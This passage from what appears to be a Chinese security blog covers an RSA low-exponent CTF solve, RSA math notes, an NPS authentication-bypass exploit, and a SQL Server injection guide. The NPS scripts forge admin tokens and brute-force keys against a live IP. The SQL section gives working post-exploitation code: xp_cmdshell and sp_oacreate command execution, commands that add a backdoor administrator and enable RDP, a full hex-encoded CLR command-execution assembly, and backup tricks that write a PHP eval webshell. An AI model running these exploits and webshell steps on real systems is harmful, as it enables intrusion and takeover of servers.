	}
}
"@
Add-Type $p
[Program]::Bypass()

参考链接：

https://github.com/NyDubh3/Pentesting-Active-Directory-CN
https://github.com/shmilylty/Intranet_Penetration_Tips

RSA低加密指数攻击

Fri, 08 Sep 2023 09:28:00 GMT

RSA低加密指数

加密指数指的是e，e一般选取65535，当e很小，可直接破解。

这类攻击在CTF题中，一般是 e=3

出题脚本

import libnum
import gmpy2

# 生成随机素数
p = libnum.generate_prime(1024)
q = libnum.generate_prime(1024)
e = 3
m = "flag{20d6e2da95dcc1fa5f5432a436c4be18}"
# 字符串转数字
m = libnum.s2n(m)
n = p * q
phi_n = (p - 1) * (q - 1)
# 求逆元
d = gmpy2.invert(e, phi_n)  # 有时候会产生报错，原因是 m 的 e 次方大于 n，产生了 kn，此时用解题脚本解出来的 k 大于 0
c = pow(m, e, n)

print("n =", n)
print("e =", e)
print("c =", c)

n = 23105329531391813039857038751759647421701879162157586444059568794756947846845619711257672423138072854368191473941408490675041910516220287268738419197085545593640690042851038958459082636027503020145121067743621057319157668572937555617991820769644356793370144913254693167843447643520568918503014547707423847499024934732454939604070884375533813963410754914255228523531200176094005390332608451072983943869756948680994580888606169182116541174820743647000251438931026219013443295569889175238977262300118077215856077047625850386254036155706263626271497906374837188016565385117208226099206854554180090481529558002796375531451
e = 3
c = 2217344750798294937344050117513831761010547351781457575945714176628679412650463329423466955026804439931765627111856888102133234836914006818023839994342283023142702993182665344445325734299047409223354338948863171846780674244925724334091153701697864918695050507247415283070309

Traceback (most recent call last):
  File "D:\Tools\Jetbrains\Pycharm\PyCharm_workspace\PyCharm_workspace\CTF\crypto_demo\低加密指数攻击\出题.py", line 20, in <module>
    d = gmpy2.invert(e, phi_n)  # 有时候会产生报错，原因是 m 的 e 次方大于 n，产生了 kn
ZeroDivisionError: invert() no inverse exists

解题脚本

import gmpy2
import libnum


def decode(c, e, n):
    k = 0
    while True:
        mm = c + k * n
        result, flag = gmpy2.iroot(mm, e)
        if flag:
            # print(k)
            return result
        k += 1


n = 23105329531391813039857038751759647421701879162157586444059568794756947846845619711257672423138072854368191473941408490675041910516220287268738419197085545593640690042851038958459082636027503020145121067743621057319157668572937555617991820769644356793370144913254693167843447643520568918503014547707423847499024934732454939604070884375533813963410754914255228523531200176094005390332608451072983943869756948680994580888606169182116541174820743647000251438931026219013443295569889175238977262300118077215856077047625850386254036155706263626271497906374837188016565385117208226099206854554180090481529558002796375531451
e = 3
c = 2217344750798294937344050117513831761010547351781457575945714176628679412650463329423466955026804439931765627111856888102133234836914006818023839994342283023142702993182665344445325734299047409223354338948863171846780674244925724334091153701697864918695050507247415283070309

m = decode(c, e, n)
# print(m)
print(libnum.n2s(int(m)))

b'flag{20d6e2da95dcc1fa5f5432a436c4be18}'

NPS未授权访问漏洞详解

Tue, 05 Sep 2023 10:05:00 GMT

NPS未授权访问漏洞详解

0x01简介

NPS是一款轻量级、高性能、功能强大的内网渗透代理服务器，具有强大的Web管理终端。在红蓝队攻防战经常被用来进行内网穿透，流量代理。相比较frp、sockets等代理工具来说NPS有web界面可以更方便的对代理进行管理，深受网络安全人员的喜爱。

在2022年8月份左右，NPS爆出了当用户使用默认配置，未配置auth_key参数时攻击者可以利用时间戳直接伪造管理员token的漏洞。但这个漏洞修复还有些需要注意的地方，请往下看。

0x02复现

1.搭建NPS服务器

在/etc/nps/nps.conf的配置文件使用默认配置文件。注意这里auth_key被注释，auth_crypt_key为默认值。

2.访问网站

这里还有个漏洞要注意，nps的默认账号为admin密码为123。所以请不要忘记更改密码。

3.运行

以下脚本就可以获得NPS里的代理信息，其中打印出来的链接可以直接粘贴到nps的url后面进入后台。

import time
import requests
import hashlib

now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()
datas = {'search': "", "order": "asc", "offset": 0, "limit": 10, 'auth_key': auth_key, 'timestamp': int(now)}
print("/index/index?auth_key={0}&timestamp={1}".format(auth_key, int(now)))
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36"
}
response = requests.post("http://192.168.221.130:8080/client/list", data=datas, headers=headers, allow_redirects=False)
print(response.status_code)
print(response.text)

0x03进阶

该漏洞修复方式是注释掉auth_crypt_key，并修改auth_key的值为随机值，但很多开发者并不会给auth_key设置为随机值，导致攻击者可以爆破该值拼接到时间戳上md5来触发此漏洞。

1.auth_key

这里我将auth_crypt_key注释掉，修改auth_key的值为test，因为官方默认auth_key的值就是test，如果开发者只是删除了前方的注释，则值为test。

2.爆破

但还有很多情况下开发者自己配置了auth_key所以我们修改脚本对auth_key的值进行爆破。如果秘钥正确，也可以利用该漏洞。

import time
import requests
import hashlib

with open(r"E:\tools\password\100.txt", encoding="utf8") as f:
    for cs in f.readlines():
        now = time.time()
        m = hashlib.md5()
        cs = cs.replace("\n", "").strip()
        m.update(cs.encode() + str(int(now)).encode("utf8"))
        auth_key = m.hexdigest()
        datas = {'search': "", "order": "asc", "offset": 0, "limit": 10, 'auth_key': auth_key, 'timestamp': int(now)}
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36"
        }
        response = requests.post("http://192.3.235.87:8080/client/list", data=datas, headers=headers,
                                 allow_redirects=False)
        print(cs)
        print(response.status_code)
        if response.status_code == 200:
            print("/index/index?auth_key={0}&timestamp={1}".format(auth_key, int(now)))
            print(response.text)
            break

还有种情况就是开发者同时设置了auth_crypt_key和auth_key，此时可以通过访问/auth/getauthkey接口获取到加密的auth_key但是需要猜到auth_crypt_key的值才能解出正确的auth_key。

所以同样的，这种情况下可以对auth_crypt_key的值进行爆破，但需要注意一般auth_crypt_key的值都是16位数，默认是1234567812345678。有正确的auth_crypt_key后就可以对访问/auth/getauthkey的接口获得的秘钥进行AES CBC PK7解密，之后的利用过程就和上面一样。

3.NPS如下配置。

4.访问接口

访问/auth/getauthkey接口获取加密的后的auth_key。

5.解密

对7831xxxx进行解密，秘钥和IV为你猜测的auth_crypt_key，AES解密，可以看到顺利解出了auth_key。如果你没解出来，大概率是你猜测的秘钥不对。

6.拼接

和之前一样，将auth_key和时间戳拼接md5后既可利用该漏洞。

RSA原理

Sun, 03 Sep 2023 02:58:00 GMT

RSA原理

1、选择一对不相等且足够大的质数

p、q

2、计算 p，q 的乘积

n = p * q

3、计算 n 的欧拉函数

φ(n) = (p - 1) * (q - 1)

4、选一个与 φ(n) 互质的整数 e

1 < e < φ(n)

5、计算出 e 对于 φ(n) 的模反元素 d

d * e mod φ(n) = 1

6、公钥

KU = (e, n)

7、私钥

KR = (d, n)

步骤	说明	描述
1	选择一对不相等且足够大的质数	p、q
2	计算 p，q 的乘积	n = p * q
3	计算 n 的欧拉函数	φ(n) = (p - 1) * (q - 1)
4	选一个与 φ(n) 互质的整数 e	x 1 < e < φ(n)
5	计算出 e 对于 φ(n) 的模反元素 d	d * e mod φ(n) = 1
6	公钥	KU = (e, n)
7	私钥	KR = (d, n)

加密流程

明文 M	加密 M^e mod n = C
密文 C	解密 C^d mod n = M

例题

p = 3
q = 11
n = 3 * 11 = 33
φ(n) = (3 - 1) * (11 - 1) = 20

与 φ(n) 互质的整数 1 < e < φ(n)
e = 3

e 对于 φ(n) 的模反元素 d
d * 3 mod φ(n) = 1
d * 3 mod 20 = 1
d = 7

加密 M = 20
KU = (3, 33)
密文 C = 20^3 mod 33 = 14

解密 C = 14
KR = (7, 33)
明文 M = 14^7 mod 33 = 20

代码

import gmpy2


p = 3
q = 11
n = p * q
phi_n = (p - 1) * (q - 1)	# φ(n)
e = 3

d = gmpy2.invert(e, phi_n)
c = 14
m = pow(c, d, n)
print m			# m = 20

欧拉函数φ(n)

欧拉函数φ(n)的定义是小于n的自然数中与n互质的数的个数

欧拉定理

若n,a为正整数，且n,a互质，则:a^φ(n)≡1 mod n

费马小定理

模运算

模运算与基本四则运算有些相似，但是除法除外。其规则如下：

(a + b) % p = (a % p + b % p) % p
(a - b) % p = (a % p - b % p) % p
(a * b) % p = (a % p * b % p) % p
a ^ b % p = ((a % p) ^ b) % p
结合律
((a + b) % p + c) = (a + (b + c) % p) % p
((a * b) % p * c) = (a * (b * c) % p) % p
交换律
(a + b) % p = (b + a) % p
(a * b) % p = (b * a) % p
分配律
(a + b) % p = (a % p + b % p) % p
((a + b) % p * c) % p = ((a * c) % p + (b * c) % p
重要定理
若 a ≡ b (mod p)，则对于任意的 c，都有(a + c) ≡ (b + c) (mod p)
若 a ≡ b (mod p)，则对于任意的 c，都有(a * c) ≡ (b * c) (mod p)
若 a ≡ b (mod p)，c ≡ d (mod p)，则
(a + c) ≡ (b + d) (mod p)
(a - c) ≡ (b - d) (mod p)
(a * c) ≡ (b * d) (mod p)
(a / c) ≡ (b / d) (mod p)

逆元
a mod p的逆元便是可以使 a * a' mod p = 1 的最小a'

推导过程

式1：c = m ^ e % N
式2：m = c ^ d % N

将式1带入式2 得 m = (m ^ e % N ) ^ d % N

需要证明：m == ( m ^ e % N ) ^ d % N

(m ^ e % N) ^ d % N

=>  (m ^ e) ^ d % N          #模运算 a ^ b % p = ((a % p) ^ b) % p

m ^ (e * d) % N              #幂的乘方，底数不变，指数相乘

将 e * d ≡ 1 (mod φ(N)) 即 e * d = K * φ(N) + 1，K为任意正整数，代入得：

=> (m ^ (K * φ(N) + 1)) % N

=> (m ^ (K * φ(N) * m ^ 1) % N      # 同底数相乘，指数相加

=> (m ^ (K * φ(N) * m) % N

=> ((m ^ φ(N) ^ K % N * m) % N      # 幂的乘方，底数不变，指数相乘

=> ((m ^ φ(N) ^ K % N * m % N) % N           # (a * b) % p = (a % p * b % p) % p

=> ((m ^ φ(N) % N) ^ K % N * m % N) % N      # a ^ b % p = ((a % p) ^ b) % p

=> (1 ^ K % N * m % N) % N                   # 根据欧拉定理：a ^ φ(n) ≡ 1 mod n 即 a ^ φ(n) mod n = 1

=> (m % N) % N                               # 1 ^ K % N = 1

=> (m % N) % N

=> (m % N) ^ 1 % N

=> (m ^ 1) % N                               # a ^ b % p = ((a % p) ^ b) % p

=> m % N

m               # 因为 m < N

SQLServer数据库注入详解

Mon, 28 Aug 2023 14:53:00 GMT

SQLServer数据库注入详解

SQLServer数据库

SQL Server数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS)，是一个比较大型的数据库。端口号为 1433。数据库后缀名 .mdf，注释符是 -- 。延时命令：WAITFOR DELAY '0:0:2'

SQLServer有三个权限级别：

sa权限：数据库操作，文件管理，命令执行，注册表读取等system。SQLServer数据库的最高权限
db权限：文件管理，数据库操作等权限 users-administrators
public权限：数据库操作 guest-users

判断当前用户权限

##判断是否是SA权限
select is_srvrolemember('sysadmin')
##判断是否是db_owner权限
select is_member('db_owner')
##判断是否是public权限
select is_srvrolemember('public')

SQLServer数据库有6个默认的库，分别是4个系统数据库：master 、model 、msdb 、tempdb，和2个实例数据库：ReportServer、ReportServerTempDB。其中，系统数据库 model 和 tempdb 默认是没有数据表的。

master数据库：master数据库控制SQL Server的所有方面。这个数据库中包括所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息。
model数据库：model数据库是建立所有用户数据库时的模板。当你建立一个新数据库时，SQL Server会把model数据库中的所有对象建立一份拷贝并移到新数据库中。在模板对象被拷贝到新的用户数据库中之后，该数据库的所有多余空间都将被空页填满。
msdb数据库：msdb数据库是SQL Server中的一个特例。如果你查看这个数据库的实际定义，会发现它其实是一个用户数据库。不同之处是SQL Server拿这个数据库来做什么。所有的任务调度、报警、操作员都存储在msdb数据库中。该库的另一个功能是用来存储所有备份历史。SQL Server Agent将会使用这个库。
tempdb数据库：tempdb数据库是一个非常特殊的数据库，供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西。例如，排序时要用到tempdb数据库。数据被放进tempdb数据库，排完序后再把结果返回给用户。每次SQL Server重新启动，它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永久保存的表。

PS：但是如果用navicat远程连接的话，只会显示2个实例数据库：ReportServer、ReportServerTempDB

修改默认1433端口

打开SQLServer配置管理器——>SQLServer网络配置——>MSSQLSERVER的协议——>TCP/IP，右键属性

SQLServer数据库的管理

服务器名称：主机,端口

Windows身份验证管理

SQLServer身份验证管理

SQLServer数据库的查询语句

select @@version;       #查询数据库的版本
select @@servername;    #查询服务名
select host_name();     #查询主机名，如果是用navicat远程连接的话，主机名是本地的名字
select db_name();       #查询当前数据库名
select db_name(1);      #查询第一个数据库名
select db_name(2);      #查询第二个数据库名
select user;            #查询当前数据库的拥有者，结果为 dbo。dbo是每个数据库的默认用户，具有所有者权限，全称：datebaseOwner ，即DbOwner 
use tempdb              #切换到tempdb表  
top n                   #查询前n条记录
limit 2,3               #查询第2条开始的3条数据，也就是2,3,4
select substring('string',2,1)     #截取给定字符串的索引为2的1个字符
select ascii('a')                  #查询给定字符串的ascii值
select len('string')               #查询给定字符串的长度
EXEC sp_spaceused @updateusage = N'TRUE';  #查询当前数据库的大小
sp_spaceused '表名'                #查询指定表名的大小
EXEC master.sys.xp_dirtree '\\192.168.106.5\xx.txt',0,1;
 
判断是否是SA权限
select is_srvrolemember('sysadmin')     
判断是否是db_owner权限  
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')
 
#数据库的连接
server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB
mssql://sa:123456@127.0.0.1/XCCMS_SocialBusinessDB
 
count(name)是查询总数
name是查询名字
*是查询详细信息
 
#查询数据库
select count(name) from sysdatabases     #查询数据库的个数,只有当前数据库是master的时候，才能执行该命令
select name from sysdatabases            #查询数据库的名字
select * from sysdatabases               #查询所有数据库的信息
 
#查询数据表
select count(name) from sysobjects where type='U'  #查询当前数据库中表的个数
select name from sysobjects where type='U'         #查询当前数据库中所有表的名字
select * from sysobjects where type='U'            #查询当前数据库的所有表的详细信息
 
select count(name) from test..sysobjects where xtype='U'  #查询指定test数据库中表的个数
select name from test..sysobjects where xtype='U'         #查询指定test数据库中表的名字
select * from test..sysobjects where xtype='U'            #查询指定test数据库中表的详细信息
 
#查询列
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')     #查询当前数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')            #查询当前数据库的指定users表的所有列的名字
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')               #查询当前数据库的指定users表的列的详细信息
 
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')     #查询指定test数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')            #查询指定test数据库的指定users表的所有列的名字
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')               #查询指定test数据库的指定users表的列的详细信息
 
#查询数据
select count(*) from test..users          #查询test数据库user表的数据的条数
select * from test..users                 #查询test数据库user表的所有数据

PS：在较新版本的SQL Server中数据库和模式之间的三点省略号 .. 在某些情况下可能会引发问题。通常，应该明确指定数据库和模式名称，以确保查询正常运行。
尝试以下修正：
SELECT COUNT(name) FROM test.sys.sysobjects WHERE xtype='U';

查询当前数据库中所有表的大小

declare  @table_spaceused table
(name   nvarchar(100)
,rows   int
,reserved   nvarchar(100)
,data   nvarchar(100)
,index_size nvarchar(100)
,unused nvarchar(100)
)
 
insert into @table_spaceused
(name,rows,reserved,data,index_size,unused )
exec sp_MSforeachtable
@command1='exec sp_spaceused ''?'''
 
select * from @table_spaceused

SA权限开启xp_cmdshell获取主机权限

判断 xp_cmdshell 是否打开，1就是打开了，0就是关闭了

select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'

如果xp_cmdshell权限没开启的话，我们可以执行下面命令开启，下面四步，使xp_cmdshell开启

execute('sp_configure "show advanced options",1')  #将该选项的值设置为1
execute('reconfigure')                             #保存设置
execute('sp_configure "xp_cmdshell", 1')           #将xp_cmdshell的值设置为1
execute('reconfigure')                             #保存设置
execute('sp_configure')                            #查看配置
execute('xp_cmdshell "whoami"')                    #执行系统命令
 
或者
exec sp_configure 'show advanced options',1;       
reconfigure;                                       
exec sp_configure 'xp_cmdshell',1;                 
reconfigure;                                      
exec sp_configure;                                 
exec xp_cmdshell 'whoami';                         
 
 
可以执行系统权限之后,前提是获取的主机权限是administrators组里的
exec xp_cmdshell 'net user Guest 123456'              #给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes'         #激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add'  #将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'        #开启3389端口

SA权限使用sp_oacreate执行系统命令

使用sp_oacreate提权前提条件：

SQLServer数据库服务未降权（因为需要调用COM组件）

我们可以借助SQLServer中的COM组件SP_OACREATE来执行系统命令，使用下面命令查看是否可使用 sp_oacreate 执行系统命令

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'

如果SQLServer 阻止了对组件 'Ole Automation Procedures' 的过程 'sys.sp_OACreate' 的访问，可以使用以下命令打开。

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;

再次执行命令，发现不报错。此时可以执行系统命令了，但是使用 sp_oacreate 执行系统命令不回显

于是我们可以使用以下命令创建用户hack。

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user hack Password@ /add'

SA权限使用CLR执行系统命令

#启用MSSQL CLR功能
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;

#为了导入了不安全的程序集，我们还需要将数据库标记为安全。
ALTER DATABASE [master] SET TRUSTWORTHY ON;
 
#导入程序集，单独执行
CREATE ASSEMBLY [WarSQLKit] AUTHORIZATION [dbo] FROM 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c0103006643f55f0000000000000000e00022200b013000000e00000006000000000000022d0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000b02c00004f00000000400000b803000000000000000000000000000000000000006000000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002e74657874000000080d000000200000000e000000020000000000000000000000000000200000602e72737263000000b8030000004000000004000000100000000000000000000000000000400000402e72656c6f6300000c0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000e42c00000000000048000000020005005c220000540a00000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000be280e00000a72010000706f0f00000a280e00000a7243000070725300007002281000000a28020000066f0f00000a2a1b300600a40100000100001173040000060a731100000a0b076f1200000a026f1300000a03281400000a2d0c076f1200000a036f1500000a076f1200000a176f1600000a076f1200000a176f1700000a076f1200000a166f1800000a076f1200000a176f1900000a076f1200000a176f1a00000a06731b00000a7d010000040706fe0605000006731c00000a6f1d00000a140c076f1e00000a26076f1f00000a076f2000000a6f2100000a0c076f2200000ade390d280e00000a1b8d160000012516725d000070a2251702a2251803a225197291000070a2251a096f2300000aa2282400000a6f0f00000ade00076f2500000a2d1a280e00000a067b010000046f2600000a6f0f00000a3895000000731b00000a130408281400000a2d091104086f2700000a26067b010000046f2800000a2c20110472970000706f2700000a261104067b010000046f2600000a6f2700000a26280e00000a1c8d16000001251602a2251703a2251872af000070a22519076f2500000a13051205282900000aa2251a7291000070a2251b1104252d0426142b056f2600000aa2282400000a6f0f00000a067b010000046f2600000a2a011000000000870021a80039100000011e02282a00000a2a4e027b01000004046f2b00000a6f2700000a262a42534a4201000100000000000c00000076322e302e35303732370000000005006c00000038030000237e0000a4030000a804000023537472696e6773000000004c080000e80000002355530034090000100000002347554944000000440900001001000023426c6f620000000000000002000001571502000902000000fa013300160000010000001c000000030000000100000005000000050000002b0000000d000000010000000100000003000000010000000000b1020100000000000600ed01ae0306005a02ae03060038019b030f00ce03000006004c01cd020600d001cd020600b101cd0206004102cd0206000d02cd0206002602cd0206007901cd0206009401cd0206003004c6020a0063014e030e0009049b030600df02c602060020036e0406001d01ae030e00ee039b030a007a044e030a0015014e0306008e02c6020e00f7029b030e00c4009b030e0035039b0306000803360006001503360006002700c602000000002d00000000000100010001001000dd030000350001000100030110000100000035000100040006006404740050200000000096005e007800010080200000000096008b001a00020040220000000086189503060004004022000000008618950306000400482200000000830016007d000400000001007d0000000100e400000002001f04000001002e03000002000404090095030100110095030600190095030a00290095031000310095031000390095031000410095031000490095031000510095031000590095031000610095031000710095030600910095030600a1000c011500a90096001000b10029041a007900950306007900e9022d00b900d7001000b10098043200b90011041000b90085043700b900b4003c00b90078023700b9007b033700b90049043700890095030600c90095034200790066004800790043044e007900ed000600790069035200d900810057007900370406008100a8005700b10029045b0079009b00610069008c025700890001016500890095026100e1008c02570069009503060099004c005700200063000b012e000b0084002e0013008d002e001b00ac002e002300b5002e002b00cb002e003300cb002e003b00cb002e004300d1002e004b00e1002e005300cb002e005b00fe0063006b000b012000048000000100000000000000000000000000a00200000200000000000000000000006b005500000000000200000000000000000000006b004000000000000200000000000000000000006b00c60200000000030002000000003c3e635f5f446973706c6179436c617373315f30003c52756e436f6d6d616e643e625f5f3000496e743332003c4d6f64756c653e0053797374656d2e494f0053797374656d2e44617461006765745f44617461006d73636f726c696200436d6445786563006164645f4f757470757444617461526563656976656400636d640052656164546f456e640052756e436f6d6d616e640053656e64006765745f45786974436f6465006765745f4d657373616765007365745f57696e646f775374796c650050726f6365737357696e646f775374796c65007365745f46696c654e616d650066696c656e616d6500426567696e4f7574707574526561644c696e6500417070656e644c696e65006765745f506970650053716c5069706500436f6d70696c657247656e6572617465644174747269627574650044656275676761626c6541747472696275746500417373656d626c795469746c654174747269627574650053716c50726f63656475726541747472696275746500417373656d626c7954726164656d61726b41747472696275746500417373656d626c7946696c6556657273696f6e41747472696275746500417373656d626c79436f6e66696775726174696f6e41747472696275746500417373656d626c794465736372697074696f6e41747472696275746500436f6d70696c6174696f6e52656c61786174696f6e7341747472696275746500417373656d626c7950726f6475637441747472696275746500417373656d626c79436f7079726967687441747472696275746500417373656d626c79436f6d70616e794174747269627574650052756e74696d65436f6d7061746962696c697479417474726962757465007365745f5573655368656c6c4578656375746500546f537472696e67006765745f4c656e6774680057617253514c4b69744d696e696d616c0057617253514c4b69744d696e696d616c2e646c6c0053797374656d0053797374656d2e5265666c656374696f6e00457863657074696f6e006765745f5374617274496e666f0050726f636573735374617274496e666f0053747265616d526561646572005465787452656164657200537472696e674275696c6465720073656e646572004461746152656365697665644576656e7448616e646c6572004d6963726f736f66742e53716c5365727665722e536572766572006765745f5374616e646172644572726f72007365745f52656469726563745374616e646172644572726f72002e63746f720053797374656d2e446961676e6f73746963730053797374656d2e52756e74696d652e436f6d70696c6572536572766963657300446562756767696e674d6f6465730053746f72656450726f63656475726573004461746152656365697665644576656e744172677300617267730050726f63657373007365745f417267756d656e747300617267756d656e747300436f6e636174004f626a6563740057616974466f7245786974005374617274007365745f52656469726563745374616e646172644f7574707574007374644f75747075740053797374656d2e546578740053716c436f6e74657874007365745f4372656174654e6f57696e646f770049734e756c6c4f72456d707479000000004143006f006d006d0061006e0064002000690073002000720075006e006e0069006e0067002c00200070006c006500610073006500200077006100690074002e00000f63006d0064002e00650078006500000920002f006300200000334f00530020006500720072006f00720020007700680069006c006500200065007800650063007500740069006e006700200000053a002000001753007400640020006f00750074007000750074003a0000372000660069006e00690073006800650064002000770069007400680020006500780069007400200063006f006400650020003d0020000000c1b0e79eb8eb6348be1e0c1d83c2d05800042001010803200001052001011111042001010e04000012550500020e0e0e0c0706120c123d0e1241124508042000125d040001020e0420010102052001011161052002011c180520010112650320000204200012690320000e0500010e1d0e0320000805200112450e08b77a5c561934e08903061245040001010e062002011c124d0801000800000000001e01000100540216577261704e6f6e457863657074696f6e5468726f7773010801000200000000001501001057617253514c4b69744d696e696d616c00000501000000000f01000a457975702043454c494b00001c010017687474703a2f2f6579757063656c696b2e636f6d2e747200000c010007312e302e302e3000000401000000d82c00000000000000000000f22c0000002000000000000000000000000000000000000000000000e42c0000000000000000000000005f436f72446c6c4d61696e006d73636f7265652e646c6c0000000000ff25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000005c03000000000000000000005c0334000000560053005f00560045005200530049004f004e005f0049004e0046004f0000000000bd04effe00000100000001000000000000000100000000003f000000000000000400000002000000000000000000000000000000440000000100560061007200460069006c00650049006e0066006f00000000002400040000005400720061006e0073006c006100740069006f006e00000000000000b004bc020000010053007400720069006e006700460069006c00650049006e0066006f0000009802000001003000300030003000300034006200300000001a000100010043006f006d006d0065006e007400730000000000000022000100010043006f006d00700061006e0079004e0061006d00650000000000000000004a0011000100460069006c0065004400650073006300720069007000740069006f006e0000000000570061007200530051004c004b00690074004d0069006e0069006d0061006c0000000000300008000100460069006c006500560065007200730069006f006e000000000031002e0030002e0030002e00300000004a001500010049006e007400650072006e0061006c004e0061006d0065000000570061007200530051004c004b00690074004d0069006e0069006d0061006c002e0064006c006c00000000005400180001004c006500670061006c0043006f007000790072006900670068007400000068007400740070003a002f002f006500790075007000630065006c0069006b002e0063006f006d002e007400720000002a00010001004c006500670061006c00540072006100640065006d00610072006b00730000000000000000005200150001004f0072006900670069006e0061006c00460069006c0065006e0061006d0065000000570061007200530051004c004b00690074004d0069006e0069006d0061006c002e0064006c006c000000000036000b000100500072006f0064007500630074004e0061006d0065000000000045007900750070002000430045004c0049004b0000000000340008000100500072006f006400750063007400560065007200730069006f006e00000031002e0030002e0030002e003000000038000800010041007300730065006d0062006c0079002000560065007200730069006f006e00000031002e0030002e0030002e003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000c000000043d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE;
#创建存储过程,单独执行
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;
#执行命令
EXEC sp_cmdExec 'whoami';
#删除该程序集
DROP PROCEDURE sp_cmdExec;DROP ASSEMBLY [WarSQLKit];

DB_owner权限LOG备份Getshell

无论是LOG备份还是差异备份，都是利用备份的过程中写入一句话木马

SQLServer常见的备份策略：

每周一次完整备份
每天一次差异备份
每小时一次事务日志备份

利用前提：

目标机器存在数据库备份文件，也就是如果我们利用 test 数据库的话，则需要该test数据库存在数据库备份文件，而且恢复模式得是完整模式
```
BACKUP DATABASE YourDatabaseName TO DISK = 'D:\Backup\YourDatabaseName.bak'    -- 完整备份
```
知道网站的绝对路径
该注入支持堆叠注入

alter database 数据库名 set RECOVERY FULL;   #修改数据库恢复模式为 完整模式
create table cmd (a image);        #创建一张表cmd，只有一个列 a，类型为image
backup log 数据库名 to disk= 'C:\phpstudy\WWW\1.php' with init;   #备份表到指定路径
insert into cmd (a) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e);  #插入一句话到cmd表里
backup log 数据库名 to disk='C:\phpstudy\WWW\2.php';   #把操作日志备份到指定文件
drop table cmd;    #删除cmd表

第四行的 0x3c3f70687020406576616c28245f504f53545b785d293b3f3e 是一句话木马 <?php @eval($_POST[x]);?> 的16进制表示

会在目标网站根目录下生成1.php和2.php文件，其中1.php 保存数据库，2.php就是我们需要连接的木马文件。

用菜刀连接即可

DB_owner权限差异备份Getshell

注：差异备份有概率会把网站搞崩，所以不建议使用差异备份

利用前提：

知道网站的绝对路径 C:\phpstudy\WWW\
该注入支持堆叠注入

注：以下语句一条一条执行

create table [dbo].[test] ([cmd] [image])
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x786965 backup log @a to disk = @s with init,no_truncate
insert into [test](cmd) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x43003A005C00700068007000730074007500640079005C005700570057005C007300680065006C006C002E00700068007000 backup log @a to disk=@s with init,no_truncate
Drop table [test]

这里第二行的 0x786965，是字符 xie 的16进制表示，这里随便填都可以
